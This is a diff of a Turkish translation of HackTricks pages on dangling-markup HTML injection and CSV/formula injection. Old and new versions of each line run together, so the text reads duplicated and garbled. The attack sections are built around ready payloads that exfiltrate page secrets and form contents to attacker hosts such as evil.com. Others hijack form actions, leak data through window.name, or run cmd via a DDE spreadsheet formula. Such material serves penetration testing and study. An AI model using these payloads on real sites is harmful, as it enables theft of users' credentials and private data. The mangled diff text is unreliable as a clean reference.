* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## Özet ## Özet
Bu teknik, bir **HTML enjeksiyonu bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, bir [**XSS** ](../xss-cross-site-scripting/) bulamazsanız ancak bazı HTML etiketlerini **enjekte edebilirsiniz** durumunda çok kullanışlıdır.\ Bu teknik, bir **HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir.** Bu, **[XSS](../xss-cross-site-scripting/) bir yol bulamazsanız** ancak **bazı HTML etiketleri enjekte edebilirseniz** çok yararlıdır.\
Ayrıca, bazı **gizli bilgilerin açık metin olarak** HTML'de saklandığı durumlarda, bunları müşteriden **çalmak** veya bazı betik yürütmesini yanıltmak istiyorsanız da kullanışlıdır. Ayrıca, bazı **gizli bilgilerin açık metin olarak saklandığı** durumlarda ve istemciden **dışarı çıkarmak** istediğinizde veya bazı betik yürütmesini yanıltmak istediğinizde de kullanışlıdır.
Burada yorumlanan birkaç teknik, beklenmeyen yollarla bilgi çalmak için bazı [**İçerik Güvenlik Politikası**](../content-security-policy-csp-bypass/) atlatmak için kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...). Burada yorumlanan çeşitli teknikler, bazı [**İçerik Güvenlik Politikası**](../content-security-policy-csp-bypass/) geçişlerini yapmak için beklenmeyen yollarla bilgi dışarı çıkararak kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).
## Ana Uygulamalar ## Ana Uygulamalar
### Açık metin sırlarını çalmak ### Açık metin sırlarını çalmak
Eğer `<img src='http://evil.com/log.cgi?` enjekte ederseniz, sayfa yüklendiğinde kurban, enjekte edilen `img` etiketi ve kod içindeki sonraki tırnak işareti arasındaki tüm kodu size gönderecektir. Eğer bir sır bu parçada bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın). Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ettiğinizde, kurban enjekte edilen `img` etiketi ile kod arasındaki ve kod içindeki sonraki tırnak işareti arasındaki tüm kodu size gönderecektir. Eğer bir sır o kısımda bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
Eğer `img` etiketi yasaklanmışsa (örneğin CSP nedeniyle), aynı şeyi `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` kullanarak da yapabilirsiniz. Eğer `img` etiketi yasaklanmışsa (örneğin CSP nedeniyle) ayrıca `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` kullanabilirsiniz.
```html ```html
<img src='http://attacker.com/log.php?HTML= <img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text= <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a= <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
``` ```
Not: **Chrome, "<" veya "\n" içeren HTTP URL'leri engeller**, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz. Dikkat etmeniz gereken bir diğer nokta **Chrome, içinde "<" veya "\n" bulunan HTTP URL'leri engeller**, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.
CSS `@import`'u da istismar edebilirsiniz (";" bulana kadar tüm kodu gönderecektir). CSS `@import`'i de istismar edebilirsiniz (";" karakterini bulana kadar tüm kodu gönderecektir)
```html ```html
<style>@import//hackvertor.co.uk? <--- Injected <style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>; <b>steal me!</b>;
@ -44,50 +44,46 @@ Ayrıca **`<table`** kullanabilirsiniz:
```html ```html
<table background='//your-collaborator-id.burpcollaborator.net?' <table background='//your-collaborator-id.burpcollaborator.net?'
``` ```
Ayrıca bir `<base` etiketi de ekleyebilirsiniz. Tüm bilgiler tırnak kapatılana kadar gönderilecektir, ancak bazı kullanıcı etkileşimi gerektirir (kullanıcı bir bağlantıya tıklamalıdır, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir): Ayrıca bir `<base` etiketi de ekleyebilirsiniz. Tüm bilgiler kapanan tırnak işareti olana kadar gönderilecektir ancak bazı kullanıcı etkileşimi gerektirir (kullanıcının bazı bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):
```html ```html
<base target=' <--- Injected <base target=' <--- Injected
steal me'<b>test</b> steal me'<b>test</b>
``` ```
### Formları Çalma ### Formları Çalma
Bir web uygulamasında, kullanıcıların doldurduğu formlardan bilgi çalmak, önemli bir saldırı vektörü olabilir. Bu saldırı tekniği, kullanıcıların girdiği verileri ele geçirmek için kullanılır. Bu veriler, kullanıcı adları, şifreler, kişisel bilgiler veya diğer hassas bilgiler olabilir.
Bu saldırıyı gerçekleştirmek için, saldırganlar web uygulamasının kaynak kodunu inceleyerek, form verilerini hedeflemek için uygun bir hedef belirlerler. Ardından, saldırganlar, form verilerini ele geçirmek için çeşitli yöntemler kullanabilirler. Örneğin, saldırganlar, form verilerini sunucuya göndermeden önce JavaScript kodunu manipüle edebilirler veya form verilerini başka bir sunucuya yönlendirebilirler.
Bu saldırıyı önlemek için, web uygulamalarının güvenliğini sağlamak için çeşitli önlemler alınmalıdır. Öncelikle, web uygulamaları güvenli bir şekilde kodlanmalı ve güncel güvenlik yamalarıyla korunmalıdır. Ayrıca, kullanıcı girdileri doğrulanmalı ve filtrelenmelidir. Ek olarak, form verileri sunucuya güvenli bir şekilde iletilmeli ve kullanıcılar bilgilendirilmelidir.
```html ```html
<base href='http://evil.com/'> <base href='http://evil.com/'>
``` ```
Sonra, veri gönderen yolların (örneğin `<form action='update_profile.php'>`) veriyi kötü niyetli alan adına gönderecektir. Sonra, veri gönderen formlar (örneğin `<form action='update_profile.php'>`) verileri kötü niyetli alan adına gönderecektir.
### Formları Çalma 2 ### Formları Çalma 2
Form başlığını şu şekilde ayarlayın: `<form action='http://evil.com/log_steal'>` bu, bir sonraki form başlığını üzerine yazacak ve formdaki tüm veriler saldırgana gönderilecektir. Bir form başlığı ayarlayın: `<form action='http://evil.com/log_steal'>` bu, bir sonraki form başlığını geçersiz kılacak ve formdaki tüm veriler saldırganın yanına gönderilecektir.
### Formları Çalma 3 ### Formları Çalma 3
Düğme, "formaction" özniteliğiyle formun bilgilerinin gönderileceği URL'yi değiştirebilir: Düğme, "formaction" özniteliği ile formun bilgilerinin nereye gönderileceğini değiştirebilir:
```html ```html
<button name=xss type=submit formaction='https://google.com'>I get consumed! <button name=xss type=submit formaction='https://google.com'>I get consumed!
``` ```
Bir saldırgan, bu yöntemi kullanarak bilgileri çalabilir. Bir saldırgan bunu bilgileri çalmak için kullanabilir.
Bu saldırının bir [**örneğini bu yazıda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
### Açık metin sırlarını çalmak 2 ### Açık metin sırlarını çalmak 2
Bahsedilen en son teknik olan formları çalmak için (yeni bir form başlığı enjekte etmek) kullanarak, yeni bir giriş alanı enjekte edebilirsiniz: En son bahsedilen teknik kullanılarak formları çalmak için (yeni bir form başlığı enjekte etme) daha sonra yeni bir giriş alanı enjekte edebilirsiniz:
```html ```html
<input type='hidden' name='review_body' value=" <input type='hidden' name='review_body' value="
``` ```
ve bu giriş alanı, HTML'deki çift tırnak arasındaki tüm içeriği içerecektir. Bu saldırı "_**Açık metin sırlarını çalma**_" ile "_**Formları çalma2**_"yi birleştirir. Ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği içerecektir. Bu saldırı, "_**Açık metin sırlarını çalma**_" ile "_**Formlar2 çalma**_" yöntemlerini birleştirir.
Aynı şeyi bir form ve bir `<option>` etiketi enjekte ederek yapabilirsiniz. Kapalı bir `</option>` bulunana kadar olan tüm veriler gönderilecektir: Aynı şeyi bir form ve bir `<option>` etiketi enjekte ederek yapabilirsiniz. Kapanan bir `</option>` bulunana kadar tüm veriler gönderilecektir:
```html ```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option <form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
``` ```
### Form parametre enjeksiyonu ### Form parametre enjeksiyonu
Bir formun yolunu değiştirebilir ve yeni değerler ekleyebilirsiniz, böylece beklenmeyen bir eylem gerçekleştirilebilir: Bir formun yolunu değiştirebilir ve yeni değerler ekleyerek beklenmeyen bir eylemin gerçekleştirilmesini sağlayabilirsiniz:
```html ```html
<form action='/change_settings.php'> <form action='/change_settings.php'>
<input type='hidden' name='invite_user' <input type='hidden' name='invite_user'
@ -101,23 +97,23 @@ value='fredmbogo'> ← Injected lines
... ...
</form> </form>
``` ```
### ık metin sırlarını noscript aracılığıyla çalmak ### noscript kullanarak açık metin sırlarını çalmak
`<noscript></noscript>`, tarayıcı javascript'i desteklemiyorsa (Chrome'da javascript'i [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinde etkinleştirebilir/devre dışı bırakabilirsiniz) içeriği yorumlanacak bir etikettir. `<noscript></noscript>` Javascript'i desteklemeyen tarayıcılarda içeriği yorumlanacak bir etikettir (Chrome'da Javascript'i [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinde etkinleştirebilir/devre dışı bırakabilirsiniz).
Enjeksiyon noktasından aşağıya kadar olan web sayfasının içeriğini saldırganın kontrol ettiği bir siteye çalmak için şunu enjekte etmek bir yol olacaktır: Enjeksiyon noktasından sayfanın altına kadar web sayfasının içeriğini saldırganın kontrol ettiği bir siteye sızdırmak için şunu enjekte etmek olacaktır:
```html ```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript> <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
``` ```
### Kullanıcı etkileşimiyle CSP'nin atlatılması ### Kullanıcı etkileşimi ile CSP'nin atlatılması
Bu [portswiggers araştırmasından](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) öğrenebileceğiniz gibi, en **CSP kısıtlı** ortamlardan bile bazı **kullanıcı etkileşimiyle veri sızdırabilirsiniz**. Bu durumda kullanacağımız payload: Bu [portswiggers araştırmasından](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) öğrenebileceğiniz gibi, en **CSP kısıtlı** ortamlardan bile bazı **kullanıcı etkileşimi** ile hala **veri sızdırabilirsiniz**. Bu durumda kullanacağımız yük:
```html ```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a> <a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target=' <base target='
``` ```
Not: Kurbanın, sizi kontrol ettiğiniz bir **payload**'a yönlendirecek bir **bağlantıya tıklamasını** isteyeceksiniz. Ayrıca, **`base`** etiketinin içindeki **`target`** özniteliği, bir sonraki tek tırnak işaretine kadar olan **HTML içeriğini** içerecektir.\ Not: **Kurbanı**, sizi kontrol ettiğiniz **payload**'a yönlendirecek bir **bağlantıya tıklamaya** davet edeceksiniz. Ayrıca, **`base`** etiketi içindeki **`target`** özniteliği bir sonraki tek tırnak işaretine kadar **HTML içeriği** içerecektir.\
Bu, bağlantıya tıklandığında **`window.name`**'in **HTML içeriği** olacağı anlamına gelir. Bu nedenle, bağlantıya tıklayarak eriştiği sayfayı kontrol ettiğiniz için, o **`window.name`**'e erişebilir ve verileri **sızdırabilirsiniz**: Bu, bağlantıya tıklandığında **`window.name`**'nin **değeri**nin tüm bu **HTML içeriği** olacağı anlamına gelir. Dolayısıyla, bağlantıya tıklanarak erişilen sayfayı kontrol ettiğinizden, bu **`window.name`**'e erişebilir ve bu veriyi **dışa aktarabilirsiniz**:
```html ```html
<script> <script>
if(window.name) { if(window.name) {
@ -126,27 +122,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
``` ```
### Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı ### Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı
HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, bir bilginin kimlerle paylaşılacağını seçiyorsunuz: HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, hangi bilgilerin paylaşılacağını seçiyorsunuz:
```html
<script>
var shareWith = document.getElementById('shareWith').value;
if (shareWith === 'public') {
// Share information with public
} else if (shareWith === 'friends') {
// Share information with friends
} else if (shareWith === 'private') {
// Share information privately
} else {
// Invalid option
}
</script>
<!-- Misleading tag -->
<namespace:tag id="shareWith" value="public" />
```
Bu saldırı, bir sonraki etiketin üzerine yazarak, betiğin akışını etkileyerek yanıltıcı bir iş akışı oluşturur. Bu durumda, `shareWith` adlı bir etiket oluşturulur ve `value` özelliği "public" olarak ayarlanır. Bu nedenle, betik, `shareWith` etiketinin değerine göre bilgiyi paylaşır.
```html ```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup <input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
... ...
@ -161,9 +137,9 @@ request.share_with = document.getElementById('share_with').value;
... ...
} }
``` ```
### Yanıltıcı betik akışı 2 - Betik ad alanı saldırısı ### Yanıltıcı betik akışı 2 - Betik ad alanı saldırısı
HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Ardından, bu değişken uygulamanın akışını etkileyecektir: HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Daha sonra bu değişken uygulamanın akışını etkileyecektir:
```html ```html
<img id='is_public'> ← Injected markup <img id='is_public'> ← Injected markup
@ -187,7 +163,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
``` ```
### JSONP'nin Kötüye Kullanımı ### JSONP'nin Kötüye Kullanımı
Eğer bir JSONP arayüzü bulursanız, istediğiniz verilerle istediğiniz fonksiyonu çağırabilirsiniz: Eğer bir JSONP arayüzü bulursanız, keyfi verilerle keyfi bir fonksiyonu çağırabilirsiniz:
```html ```html
<script src='/editor/sharing.js'>: Legitimate script <script src='/editor/sharing.js'>: Legitimate script
function set_sharing(public) { function set_sharing(public) {
@ -205,13 +181,13 @@ Ya da bazı JavaScript kodlarını çalıştırmayı deneyebilirsiniz:
``` ```
### Iframe kötüye kullanımı ### Iframe kötüye kullanımı
Bir alt belge, ebeveyninin `location` özelliğini, kökenler arası durumlarda bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir **iframe** içine yerleştirilen bir betiğin istemciyi isteğe bağlı bir sayfaya yönlendirebilmesine olanak tanır: Bir çocuk belgesi, üst belgenin `location` özelliğini, hatta çapraz köken durumlarında bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir **iframe** içine gömülmüş bir betiği istemciyi keyfi bir sayfaya yönlendirebilecek şekilde izin verir:
```html ```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html> <html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
``` ```
Bu, `sandbox=' allow-scripts allow-top-navigation'` gibi bir şeyle hafifletilebilir. Bu, şöyle bir şeyle hafifletilebilir: `sandbox=' allow-scripts allow-top-navigation'`
Bir iframe, **iframe adı özniteliğini kullanarak** farklı bir sayfadan hassas bilgilerin sızdırılmasında da istismar edilebilir. Bunun nedeni, **hassas bilginin iframe adı özniteliği içinde görünmesini sağlayan** HTML enjeksiyonunu istismar eden bir iframe oluşturabilmeniz ve ardından bu adı başlangıç iframe'inden erişerek sızdırabilmenizdir. Bir iframe, **iframe adı özniteliğini kullanarak** farklı bir sayfadan hassas bilgilerin sızdırılmasında da istismar edilebilir. Bu, **hassas bilgilerin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu istismar eden bir iframe oluşturabileceğiniz** anlamına gelir ve ardından başlangıç iframe'ından bu adı erişerek sızdırabilirsiniz.
```html ```html
<script> <script>
function cspBypass(win) { function cspBypass(win) {
@ -222,28 +198,28 @@ setTimeout(()=>alert(win[0].name), 500);
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe> <iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
``` ```
Daha fazla bilgi için [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) adresini kontrol edin. Daha fazla bilgi için [buraya](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) bakabilirsiniz.
### \<meta kötüye kullanımı ### \<meta kötüye kullanımı
**`meta http-equiv`** kullanarak birçok işlem yapabilirsiniz, örneğin bir Çerez ayarlamak: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` veya bir yönlendirme gerçekleştirmek (bu durumda 5 saniye sonra): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />` **`meta http-equiv`** kullanarak bir Çerez ayarlamak gibi **çeşitli eylemler** gerçekleştirebilirsiniz: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Bu, **http-equiv** ile ilgili bir **CSP** ile önlenebilir (`Content-Security-Policy: default-src 'self';` veya `Content-Security-Policy: http-equiv 'self';`) Bu, **http-equiv** ile ilgili bir **CSP** ile **önlenir** (`Content-Security-Policy: default-src 'self';`, veya `Content-Security-Policy: http-equiv 'self';`)
### Yeni \<portal HTML etiketi ### Yeni \<portal HTML etiketi
\<portal etiketinin sömürülebilir zayıflıkları hakkında çok **ilginç bir araştırma** [burada](https://research.securitum.com/security-analysis-of-portal-element) bulunabilir.\ \<portal etiketinin sömürülebilir zayıflıkları hakkında çok **ilginç bir araştırma** bulabilirsiniz [burada](https://research.securitum.com/security-analysis-of-portal-element/).\
Bu yazının yazıldığı sırada, Chrome'da `chrome://flags/#enable-portals` adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır. Bu yazının yazıldığı sırada, Chrome'da `chrome://flags/#enable-portals` adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır.
```html ```html
<portal src='https://attacker-server? <portal src='https://attacker-server?
``` ```
### HTML Sızıntıları ### HTML Sızıntıları
HTML'de bağlantıyı sızdırmak için kullanılabilecek tüm yöntemler Dangling Markup için her zaman işe yaramayabilir, ancak bazen yardımcı olabilir. İşte kontrol edebileceğiniz yer: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html) HTML'de bağlantı sızdırmak için tüm yöntemler Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Buradan kontrol edebilirsiniz: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Sızıntıları ## SS-Sızıntıları
Bu, **dangling markup ve XS-Sızıntıları** arasında bir **karışım**. Bir taraftan, zafiyet, **HTML enjekte etmeye** (ancak JS değil) izin verir ve saldıracağımız sayfanın **aynı kökenli** olduğu bir sayfaya enjekte edebiliriz. Öte yandan, HTML enjekte edebileceğimiz sayfayı doğrudan **saldırmayız**, başka bir sayfayı hedef alırız. Bu, **dangling markup ve XS-Sızıntıları arasında bir karışım**. Bir taraftan zafiyet, saldıracağımız sayfanın **aynı kökenine ait** bir sayfada **HTML enjekte etmeye** izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan **saldırmayacağız**, **başka bir sayfa** olacak.
{% content-ref url="ss-leaks.md" %} {% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md) [ss-leaks.md](ss-leaks.md)
@ -251,13 +227,13 @@ Bu, **dangling markup ve XS-Sızıntıları** arasında bir **karışım**. Bir
## XS-Arama/XS-Sızıntıları ## XS-Arama/XS-Sızıntıları
XS-Arama, **yan kanal saldırılarını** kullanarak **çapraz kökenli bilgileri sızdırmak** için kullanılır. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler, [**CSS Enjeksiyonu**](../xs-search.md#css-injection) veya [**Gecikmeli Yükleme Resimleri**](../xs-search.md#image-lazy-loading) gibi HTML etiketlerinin (JS yürütme ile veya olmadan) kullanılmasını istismar eder. XS-Arama, **yan kanal saldırılarını** istismar ederek **çapraz köken bilgilerini dışa aktarmaya** yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesiyle ve olmadan) dahil edilmesini istismar eder, örneğin [**CSS Enjeksiyonu**](../xs-search.md#css-injection) veya [**Gecikmeli Yükleme Resimler**](../xs-search.md#image-lazy-loading)**.**
{% content-ref url="../xs-search.md" %} {% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md) [xs-search.md](../xs-search.md)
{% endcontent-ref %} {% endcontent-ref %}
## Brute-Force Algılama Listesi ## Kaba Kuvvet Algılama Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
@ -270,14 +246,14 @@ XS-Arama, **yan kanal saldırılarını** kullanarak **çapraz kökenli bilgiler
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. * **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,14 +1,14 @@
# Formül/CSV/Belge/LaTeX/GhostScript Enjeksiyonu # Formül Enjeksiyonu
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu * [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,10 +26,10 @@ HackTricks'ı desteklemenin diğer yolları:
### Bilgi ### Bilgi
Eğer **girdiniz** **CSV dosyaları** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya), Excel **formülleri** ekleyebilirsiniz ki bu formüller dosya **açıldığında** veya kullanıcı **Excel tablosu içindeki bir bağlantıya tıkladığında** **çalıştırılabilir** olabilir. Eğer **girdiniz** **CSV dosyaları** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya içinde), Excel **formülleri** ekleyebilirsiniz ki bu formüller dosyayı **açan kullanıcı** dosyayı açtığında veya Excel tablosu içindeki **bir bağlantıya tıkladığında** **çalıştırılabilir** olabilir.
{% hint style="danger" %} {% hint style="danger" %}
Günümüzde **Excel**, kullanıcının **kötü niyetli eylemlerden kaçınması** için dışarıdan Excel'e yüklenen şeylerde **kullanıcıya birkaç kez uyarı verecektir**. Bu nedenle, son payload üzerinde **Sosyal Mühendislik** için özel çaba gösterilmelidir. Günümüzde **Excel**, kullanıcının **kötü niyetli eylemlerden kaçınması** için, Excel dışından bir şey yüklendiğinde kullanıcıya (birkaç kez) **uyarıda bulunacaktır**. Bu nedenle, son yükte **Sosyal Mühendislik** için özel çaba gösterilmelidir.
{% endhint %} {% endhint %}
### [Kelime Listesi](https://github.com/payloadbox/csv-injection-payloads) ### [Kelime Listesi](https://github.com/payloadbox/csv-injection-payloads)
@ -43,17 +43,17 @@ DDE ("cmd";"/C calc";"!A0")A0
``` ```
### Hyperlink ### Hyperlink
**Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve keyfi konumlara istekler yapmak için çok kullanışlıdır. Ancak, kullanıcının bağlantıya tıklamasını (ve uyarıları kabul etmesini) gerektirir.** **Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve istenmeyen konumlara istekler yapmak için çok yararlıdır. Ancak, kullanıcının bağlantıya tıklaması ve uyarıları kabul etmesi gerekmektedir.**
Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır. Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır.
